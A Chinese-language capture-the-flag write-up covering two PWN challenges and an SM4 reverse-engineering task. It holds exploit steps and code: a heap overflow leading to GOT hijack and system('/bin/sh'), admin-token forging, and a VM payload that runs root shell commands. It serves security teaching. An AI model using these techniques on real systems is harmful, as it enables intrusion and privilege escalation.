2026系统安全攻防赛REPWN题解
字数 2593
更新时间 2026-04-02 13:41:29

2026系统安全攻防赛PWN与RE题目深入解析与利用教学

1. PWN题目解析与利用

1.1 PWN1: odd_chat

1.1.1 题目概述

这是一个聊天类的菜单题,实现了基本的聊天功能,包含以下选项:

    1. Chat(聊天)
    1. Change name(修改用户名)
    1. View chat history(查看聊天记录)
    1. Clear chat(清空聊天记录)
    1. Quit(退出)

1.1.2 漏洞分析

关键漏洞代码位置
g_chat_history_head = malloc(0x20);
requested_len = (int)abs32(read_menu_choice()) % 0x18;
input_len = read_line_raw(g_chat_history_head->encrypted_text, requested_len);

漏洞原理

  1. 使用abs32()函数获取用户输入的绝对值
  2. 输入-2147483648(0x80000000)时,abs32()函数存在整数溢出漏洞
  3. 在32位有符号整数中,-2147483648的绝对值0x80000000无法用有符号整数表示
  4. 导致requested_len变为一个非常大的数值
  5. 造成堆缓冲区溢出,可覆盖后续堆块结构
加密算法分析

题目使用了魔改的TEA加密算法:

加密函数

left += (right + sum) ^ ((right << 4) + 0x114514) ^ ((right >> 5) + 0x114514);
sum += 0x9E3779B9;
right += (left + sum) ^ ((left << 4) + 0x114514) ^ ((left >> 5) + 0x114514);

解密函数

def undo_block(block: bytes) -> bytes:
    left = u32(block[:4])
    right = u32(block[4:])
    total = (TEA_DELTA * 17) & 0xFFFFFFFF
    for _ in range(17):
        right = (right - (((left << 4) + TEA_KEY) ^ (left + total) ^ ((left >> 5) + TEA_KEY))) & 0xFFFFFFFF
        total = (total - TEA_DELTA) & 0xFFFFFFFF
        left = (left - (((right << 4) + TEA_KEY) ^ (right + total) ^ ((right >> 5) + TEA_KEY))) & 0xFFFFFFFF
    return p32(left) + p32(right)

1.1.3 保护机制检查

Arch:     amd64-64-little
RELRO:    Partial RELRO
Stack:    Canary found
NX:       NX enabled
PIE:      No PIE (0x3fe000)

关键点:没有开启PIE保护,GOT表可写。

1.1.4 利用链构建

第一步:信息泄露
  1. 利用溢出漏洞泄露libc地址
  2. 通过堆布局获取关键函数地址
第二步:tcache poisoning攻击
  1. 利用溢出修改fd指针
  2. 指向BSS段上伪造的堆块
  3. 通过free函数将伪造堆块放入tcache
第三步:任意地址写
  1. 利用read_user_name函数实现任意chunk分配
  2. 在BSS段上构造fake chunk
  3. 覆盖GOT表或关键函数指针
第四步:getshell
  1. 劫持GOT表中的函数指针
  2. 通常劫持free@gotsystem
  3. 传入"/bin/sh"参数触发system("/bin/sh")

1.1.5 完整利用脚本要点

# 1. 触发整数溢出漏洞
add(-2147483648, b"A"*0x20 + p64(fake_chunk_addr))

# 2. 通过溢出修改fd指针
# 3. 触发tcache poisoning
# 4. 分配伪造的chunk到BSS段
# 5. 修改关键函数指针
# 6. getshell

1.2 PWN2: NeuralChat

1.2.1 系统架构

前端:Flask Web服务 (neuralchat用户,低权限)
后端:C语言引擎 (root用户,高权限)
通信:Unix Domain Socket (/opt/neuralchat/run/engine.sock)

1.2.2 漏洞点分析

前端漏洞
  1. 目录穿越漏洞

    filepath = os.path.join(DOWNLOAD_DIR, filename)
    if not filepath.startswith(DOWNLOAD_DIR):  # 不安全
    
  2. 任意命令执行风险
    /api/raw接口允许用户发送任意后端命令

  3. 无认证机制:所有接口均可未授权访问

后端协议分析

后端通过Unix Socket接收命令,协议格式:

  • 4字节:数据帧大小
  • 1字节:命令ID
  • N字节:载荷数据

命令ID映射

  • 0x01: 创建会话
  • 0x02: 聊天请求
  • 0x03: 列出会话
  • 0x04: 导出会话
  • 0x06: 上传知识文件
  • 0x07: 列出知识文件
  • 0x08: 获取模型信息
  • 0x09: 获取状态信息
  • 0xFF: 管理员命令(关键利用点)

1.2.3 管理员认证机制

认证流程
bool verify_admin_request_token(
    uint32_t issued_at,      // 4字节时间戳
    uint8_t subcommand,      // 1字节子命令
    const void *body,        // 载荷数据
    uint32_t body_len,       // 载荷长度
    const uint8_t auth_tag[32]) // 32字节认证标签
{
    // 1. 时间戳检查(60秒内有效)
    if (time_skew > 60) return 0;
    
    // 2. SHA256哈希计算
    SHA256_Init(ctx);
    SHA256_Update(ctx, &issued_at, 4);
    SHA256_Update(ctx, &subcommand, 1);
    if (body_len) SHA256_Update(ctx, body, body_len);
    SHA256_Update(ctx, g_admin_secret, 16);  // 关键:16字节密钥
    
    // 3. 比较认证标签
    return memcmp(digest, auth_tag, 32) == 0;
}
密钥派生算法
void derive_admin_secret(uint32_t pid, uint32_t start_time, uint8_t *out_secret)
{
    uint32_t seed = (73244475 * pid) ^ (295559667 * start_time);
    for (int round = 0; round <= 15; ++round) {
        state = (((seed << 13) ^ seed) >> 7) ^ (seed << 13) ^ seed;
        xorshift = (state << 17) ^ state;
        out_secret[round] = SBOX[(uint8_t)xorshift];  // AES S-BOX映射
        seed = -1640531527 * (round + 1) + xorshift;
    }
}

1.2.4 VM虚拟机漏洞

VM指令集
  • 0x00: 未知操作码
  • 0x01: 寄存器间移动
  • 0x02: 立即数加载
  • 0x03: 寄存器加法
  • 0x04: 寄存器减法
  • 0x05: 压栈
  • 0x06: 弹栈
  • 0x07: 存储到内存(带符号偏移)
  • 0x08: 从内存加载(带符号偏移)
  • 0xFF: 停止执行
关键漏洞
// OP 0x07: 存储指令
*(uint32_t*)(g_pwn.vm_scratch + (int8_t)off) = reg[src];

// OP 0x08: 加载指令
reg[dst] = *(uint32_t*)(g_pwn.vm_scratch + (int8_t)off);

漏洞点:偏移量signed_off_store为有符号8位整数,允许负偏移,可写入g_pwn结构体前部。

1.2.5 完整利用链

第一步:信息收集
  1. 访问/api/status获取piduptime
  2. 计算start_time = now - uptime
第二步:密钥恢复
def get_secret(pid, start_time):
    out = bytearray()
    seed = ((0x45D9F3B * pid) & 0xFFFFFFFF) ^ ((0x119DE1F3 * start_time) & 0xFFFFFFFF)
    
    for round in range(16):
        seed ^= ((seed << 13) & 0xFFFFFFFF)
        seed ^= (seed >> 7)
        seed ^= ((seed << 17) & 0xFFFFFFFF)
        out.append(SBOX[seed & 0xFF])
        seed = (seed + ((0x9E3779B9 * (round + 1)) & 0xFFFFFFFF)) & 0xFFFFFFFF
    
    return bytes(out)
第三步:构造合法管理员令牌
def token(subcommand, issued_at, extra, secret):
    msg = struct.pack("<I", issued_at) + bytes([subcommand]) + extra + secret
    return hashlib.sha256(msg).digest()

def build_admin_body(subcommand, issued_at, extra, secret):
    auth_tag = token(subcommand, issued_at, extra, secret)
    body = struct.pack("<I", issued_at) + bytes([subcommand]) + auth_tag + extra
    return body
第四步:VM Payload构造
def build_vnm(command_bytes):
    prog = bytearray()
    padded = command_bytes + (b'\x00' * ((4 - (len(command_bytes) % 4)) % 4))
    
    for i in range(0, len(padded), 4):
        chunk = padded[i:i + 4]
        # 加载立即数到寄存器0
        prog += b'\x02\x00' + chunk
        # 存储寄存器0到vm_scratch + offset
        prog += bytes([0x07, (0x80 + i) & 0xFF, 0x00])
    
    prog += b'\xFF'  # 停止指令
    return bytes(prog)
第五步:RCE执行
  1. 构造命令:cp /home/ctf/flag /opt/neuralchat/downloads/f
  2. 通过VM写入g_pwn.diag_cmd
  3. 触发system(g_pwn.diag_cmd)
  4. 通过下载接口获取flag

2. RE题目解析:ezSM4

2.1 SM4算法基础

2.1.1 算法特性

  • 分组长度:128位(16字节)
  • 密钥长度:128位(16字节)
  • 轮数:32轮
  • 国产商用密码算法,中国国家密码管理局发布

2.1.2 加密流程

轮函数F
F(X0, X1, X2, X3, rk) = X0 ⊕ T(X1 ⊕ X2 ⊕ X3 ⊕ rk)
合成置换T
T(.) = L(τ(.))
τ: 非线性字节替换(4个S盒并行)
L: 线性变换
轮密钥生成
  1. 初始密钥MK = (MK0, MK1, MK2, MK3)
  2. 计算(K0, K1, K2, K3) = (MK0⊕FK0, MK1⊕FK1, MK2⊕FK2, MK3⊕FK3)
  3. 迭代生成32个轮密钥:
    rk_i = K_{i+4} = K_i ⊕ T'(K_{i+1} ⊕ K_{i+2} ⊕ K_{i+3} ⊕ CK_i)
    

2.2 题目逆向分析

2.2.1 程序结构

int main() {
    char input_buf[17] = {};
    BData input_data{};
    BData key_data{};
    SM4 sm4_ctx{};
    BData ciphertext_data{};
    
    const char fixed_key[17] = "12345678abcdefgh";
    const unsigned char expected_ciphertext[16] = {
        0x4A, 0x5E, 0x46, 0x35,
        0x96, 0x08, 0xE9, 0x30,
        0xDA, 0x28, 0xCA, 0xA0,
        0x22, 0xA6, 0x59, 0x4D
    };
}

2.2.2 关键函数识别

  1. bytes_to_dwords_le: 字节转字(小端序)
  2. SM4_init_round_keys: SM4密钥扩展
  3. SM4_encrypt_block: SM4加密核心
  4. dwords_to_bytes_le: 字转字节(小端序)

2.2.3 小端序处理

本题关键点:使用小端序而非标准SM4的大端序

# 标准SM4(大端序)
def bytes_to_words_be(data):
    return [int.from_bytes(data[i:i+4], 'big') for i in range(0, 16, 4)]

# 本题实现(小端序)
def bytes_to_words_le(data):
    return [int.from_bytes(data[i:i+4], 'little') for i in range(0, 16, 4)]

2.3 解密脚本实现

2.3.1 SM4常量定义

SBOX = [
    0xd6,0x90,0xe9,0xfe,0xcc,0xe1,0x3d,0xb7,0x16,0xb6,0x14,0xc2,0x28,0xfb,0x2c,0x05,
    # ... 完整SBOX数组
]

FK = [0xa3b1bac6, 0x56aa3350, 0x677d9197, 0xb27022dc]

CK = [
    0x00070e15,0x1c232a31,0x383f464d,0x545b6269,
    0x70777e85,0x8c939aa1,0xa8afb6bd,0xc4cbd2d9,
    # ... 完整CK数组
]

2.3.2 解密核心函数

def rol(x, n):
    return ((x << n) & 0xffffffff) | (x >> (32 - n))

def tau(a):
    a0 = (a >> 24) & 0xFF
    a1 = (a >> 16) & 0xFF
    a2 = (a >> 8) & 0xFF
    a3 = a & 0xFF
    b0 = SBOX[a0]
    b1 = SBOX[a1]
    b2 = SBOX[a2]
    b3 = SBOX[a3]
    return (b0 << 24) | (b1 << 16) | (b2 << 8) | b3

def l(ak):
    return ak ^ rol(ak, 2) ^ rol(ak, 10) ^ rol(ak, 18) ^ rol(ak, 24)

def t(ak):
    return l(tau(ak))

2.3.3 完整解密流程

def sm4_decrypt(ciphertext, key):
    # 1. 小端序转换
    x = [int.from_bytes(ciphertext[i:i+4], 'little') for i in range(0, 16, 4)]
    mk = [int.from_bytes(key[i:i+4], 'little') for i in range(0, 16, 4)]
    
    # 2. 密钥扩展
    k = [0] * 36
    for i in range(4):
        k[i] = mk[i] ^ FK[i]
    
    for i in range(32):
        k[i+4] = k[i] ^ t_prime(k[i+1] ^ k[i+2] ^ k[i+3] ^ CK[i])
    
    rk = k[4:36]
    
    # 3. 32轮解密(逆序使用轮密钥)
    for i in range(32):
        x[i+4] = x[i] ^ t(x[i+1] ^ x[i+2] ^ x[i+3] ^ rk[31-i])
    
    # 4. 小端序输出
    plain = b''
    for i in range(35, 31, -1):
        plain += x[i].to_bytes(4, 'little')
    
    return plain

2.4 最终结果

通过逆向分析和算法实现,得到:

  • 固定密钥: 12345678abcdefgh
  • 目标密文: 4A5E46359608E930DA28CAA022A6594D
  • 解密明文: SENSOREDS4Little
  • 最终flag: flag{SENSOREDS4Little}

3. 总结与关键要点

3.1 PWN题目要点

  1. 整数溢出利用abs32(-2147483648)产生异常结果
  2. TEA加密解密:理解魔改TEA算法并实现解密
  3. 堆利用技巧:tcache poisoning、BSS段fake chunk构造
  4. 权限分离绕过:低权限用户通过协议漏洞提权到root
  5. VM逃逸:有符号偏移导致的任意内存写入

3.2 RE题目要点

  1. SM4算法理解:掌握国产密码算法原理
  2. 字节序问题:识别并正确处理小端序实现
  3. 常量识别:通过SBOX、FK、CK识别SM4算法
  4. 完整加解密实现:从零实现SM4加解密流程

3.3 通用技巧

  1. 混合题型应对:现代CTF题目常结合多种技能点
  2. 自动化脚本编写:快速验证和利用漏洞
  3. 密码学基础:对称加密、哈希算法、随机数生成
  4. 协议分析:自定义协议的逆向和利用

通过深入分析这些题目,可以系统学习现代系统安全攻防的多种技术,包括二进制漏洞利用、Web安全、密码学逆向和协议安全等关键技能。

相似文章
相似文章
 全屏